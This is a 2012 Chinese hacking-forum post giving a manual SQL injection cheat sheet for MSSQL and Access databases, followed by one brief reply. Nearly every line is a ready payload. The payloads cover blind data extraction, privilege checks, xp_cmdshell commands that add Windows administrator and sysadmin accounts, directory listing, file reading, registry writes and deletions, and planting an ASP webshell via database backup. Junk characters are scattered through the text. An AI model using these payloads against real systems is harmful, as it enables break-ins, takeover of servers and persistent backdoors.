中国网络渗透测试联盟

标题: 手工脚本注入 [打印本页]

作者: admin    时间: 2012-9-15 14:48
标题: 手工脚本注入
手工脚本注入
- q7 F6 p& m: e( m) f1.判断是否有注入;and 1=1 ;and 1=2 7 q8 W0 y! z6 \  ^) E' N
8 G8 t; [! ~, w0 x/ D+ @
2.初步判断是否是mssql ;and user>0
9 Q7 B0 V8 r7 y7 n6 _
! [- \' N, C7 X0 b" P+ W: x* h; D% F! {3.注入参数是字符'and [查询条件] and ''=' 9 X) y8 K+ V+ R; U5 U/ D. L
. E8 ]4 [  L  \8 Q
4.搜索时没过滤参数的'and [查询条件] and '%25'='
5 M7 H* a. r& e% ]7 q% C: A1 x2 _7 ^* a! m3 h( ?& K/ i, M' _  i- S: M
5.判断数据库系统 * l+ u( r, d. Z& Z. _  V
;and (select count(*) from sysobjects)>0 mssql ' H' J7 V3 ?" C' W% E
;and (select count(*) from msysobjects)>0 access 0 q* c7 d' q: y8 Y/ |
4 @: @4 v$ p4 q3 s3 l: C
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ( ~$ N! j" i( J8 ]) y7 c
$ j; P$ V/ S* t6 u5 m, x- B
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
% O1 Q/ p' I- ?: [- E1 l" t, c& N* e
0 `; t. B& E5 c" y2 z5 }6 n/ j8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
: S* ~2 @$ I7 E) ~
; Y" d2 x, D9 V3 u9.(1)猜字段的ascii值(access)
7 b8 H$ \+ Y: F/ C' ~) d) R;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 4 g; h5 w$ t$ A. E7 r/ W# f

* }6 j: F/ Y) Y4 u(2)猜字段的ascii值(mssql) 4 m- U7 z# F) V
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
( o3 x$ R/ Q. G/ s6 u- f+ K2 K4 a+ w+ H1 U
10.测试权限结构(mssql)
2 V1 Y: K1 ]- w5 g& @& e$ G6 t;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
% d: Z, \+ W* T;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
. n; |- K2 y9 p; s) t;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2 R. o! s4 W6 v" M7 V
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ' k0 O) M4 Q* o# i) D  ]0 J
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
8 M' C2 _7 M* E5 ];and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
) s4 X: x+ d  c( [) S" x7 A;and 1=(select IS_MEMBER('db_owner'));-- $ _- ?4 l* @- s  V- U

* l3 k: X3 |, n% V. j/ H1 Y0 s  N7 P* r11.添加mssql和系统的帐户
$ B4 S( o+ n  ?8 m/ x/ p% ^;exec master.dbo.sp_addlogin username;-- , t( w3 K9 T$ X+ J

- _3 s* c* ^$ U' D% i6 };exec master.dbo.sp_password null,username,password;-- * b) S/ |) K6 U) x# s
! s# K$ ?" @. b9 V& U% u7 [4 Z
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
( O. x2 h1 a! k' _$ W% P, m' {) l- m; ?
;exec master.dbo.xp_cmdshell 'net user username password $ |; |; W4 Z  E+ Y, e. {
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
9 g' H7 F. r9 |+ u6 ]7 k! n1 E9 r. r+ q/ n, E0 ~
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4 T+ T6 v+ y; q4 y
; z4 f9 o! a, L+ I2 `* W1 e
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
- B" O: S8 Y" A' F% g* Z+ {' B- B6 r: [& q( w3 I
12.(1)遍历目录
" F/ F; y' d5 x# c. }; i7 _' V8 j% ]# m0 {' G5 r4 ~$ x6 k
;create table dirs(paths varchar(100), id int) ! E8 ^, o$ |' s5 s7 m0 f
;insert dirs exec master.dbo.xp_dirtree 'c:\'
# c) N  T* G) @" u, h;and (select top 1 paths from dirs)>0 3 G3 I+ c* ~4 }$ J0 k" W
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
3 {; k3 e/ H+ f( c0 J$ o4 y! W5 y# @9 r4 j" Z2 `* ^) O* u
(2)遍历目录 / e2 C1 X9 Q# s8 Z
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- + V, f  B& N# K- ?4 {; X
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
- }% o" R- d. J; b# {$ T;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
, B: S& \5 V( a;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 % V6 q1 C$ \, q: A
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
1 Z# M! {+ N( s1 U+ i; N- S7 |) n  e, _
13.mssql中的存储过程
2 t, Q4 t! H7 y+ o' Y7 {
; ?; \6 c6 I* v& U- B2 ~xp_regenumvalues 注册表根键, 子键 2 X! W6 n5 E+ v, l( {" _
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值   K7 N: j; U# _9 d- r
* |; c' n$ r1 p7 t
xp_regread 根键,子键,键值名
4 u/ J; i( g0 _4 C;exec xp_regread
4 V4 c: f7 W# E( z- k'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
5 i! U* f  M, [1 Y9 l$ T0 j+ q8 @+ r! k. x
xp_regwrite 根键,子键, 值名, 值类型, 值
2 L  e$ U; \4 I1 t9 J值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 & H* c5 C# P/ J5 _" A5 q; `
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 & f) D4 n, U& U" y3 ~
( ^" _5 k% \5 W% q2 E( k
xp_regdeletevalue 根键,子键,值名
% y* D0 f' g1 n( C2 _8 f, W
; v5 c9 Q+ H/ q4 n& Hexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
( m. s5 z4 c) O. Y; F. u# F5 E; B5 q( Q6 g3 S( }# U1 U3 u
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
: p5 X3 u0 V, E5 E, v$ a
8 i) R. D/ Z2 T- l3 V14.mssql的backup创建webshell / s) I$ e$ i; ~
use model " C' n( o: F) n! ~# r3 z
create table cmd(str image);   \' B0 S5 L% I& X) E
insert into cmd(str) values ('');
0 L2 v( z  U3 u- f. p) Tbackup database model to disk='c:\l.asp';
) i; z% j# y9 ?+ Y- Z; m3 R
! K. `6 p" r9 M1 c4 a15.mssql内置函数 6 l6 F. o8 l: z" n
;and (select @@version)>0 获得Windows的版本号
; s/ @& y6 a9 y: x;and user_name()='dbo' 判断当前系统的连接用户是不是sa
$ R& _+ V* o6 {/ N;and (select user_name())>0 爆当前系统的连接用户
5 C: F. Q0 R5 _/ ?' l  D) };and (select db_name())>0 得到当前连接的数据库
' b# r+ _' m8 ^" n5 W- G! Y: b2 V9 z" N1 C, y4 }# N
16.简洁的webshell 5 @# w: p0 A1 u. I$ q+ ^$ R8 D

9 A# j& b1 M) k# m, G0 |: Suse model - t" Z1 ]( ~8 n0 u: A% ]

) }( f6 T3 m2 g1 f" g& c8 ncreate table cmd(str image);
- n$ l  O" b5 u' ]3 Y+ Q
9 H; B" ]* n) x$ Y! m4 Winsert into cmd(str) values ('');
2 a& [, b4 r# X5 _1 W; V, V2 e* _& `# P7 I9 `+ y6 P
backup database model to disk='g:\wwwtest\l.asp';
3 f! M+ {0 n2 Y) H0 s1 J( ]! p
9 K# ?# l! Y) `0 M) g" `
作者: 老男孩    时间: 2012-9-15 16:34
现在很多防注入啊,有其他注入字符码




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2